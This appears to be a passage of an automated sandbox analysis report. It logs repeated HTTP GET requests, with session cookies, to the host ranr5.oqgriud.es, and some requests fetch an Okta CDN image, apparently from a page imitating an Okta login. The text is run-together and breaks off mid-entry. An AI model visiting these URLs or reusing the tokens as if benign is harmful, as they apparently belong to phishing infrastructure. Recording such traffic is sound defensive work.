Source: global traffic	HTTP traffic detected: GET /wxuI9sQfu2BQZgE7cvtbW1rYfMNNEL8qrHcNP5runFbkRnbfYU34124 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsuQIbd6urxwgN1WWB9pdUvvBlwNqZjigjsk0QlimudDoAGyzlTTHcohq0U9DbQ385k17uDmwAG97qqdY6pXEeDB9kkl350 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijfIwbLVSLSioSC908IIq28jfo29dbKtpoywxpcRyCwM5eM6pwReJ1jZYY478164 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzINkX13tuE7D8mz7PPlghKopCg0LoDao7efVvR6gG17ab180 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsUC3OD2LnWxsp3y1XxxFvUcKhijZzWgS0Bpqq0s6FxaCLdwCef198 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnW6ax7zUB7JKxnxsqoYba3bEJXUHkaugjRSkLLb83RTpSwefyWXfGqe6G7wTrPhUrnsIYwrzpLYSCVJgE78TPzSCapMj3auv324 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gh2tvkDL0be18LjQsWGZKqxy0CYAeDAtybmAXh00U12210 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn3rWz2HxP6hqoQmlder9orhJOa2klqlH1PdrO1Za5r4KV78150 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrNylf5N5Aju3ioV5ZGrth8jHaxKBefC8JeuwjuJ6E1yJVparC45137 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qr3vr6ttdBKclLV3jMFLK1mSB6Vk6Qf1Gwn09JfQyoo12OiHY6ETuKI3PpIXVeYgef240 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvhL1ADFrGd59QKm3aUd1YWJQvR6N74GYmMKpoJ45B0Wl3znehUgbrTCUpy1u4DfUGdfKgh251 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijfIwbLVSLSioSC908IIq28jfo29dbKtpoywxpcRyCwM5eM6pwReJ1jZYY478164 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsUC3OD2LnWxsp3y1XxxFvUcKhijZzWgS0Bpqq0s6FxaCLdwCef198 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzINkX13tuE7D8mz7PPlghKopCg0LoDao7efVvR6gG17ab180 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 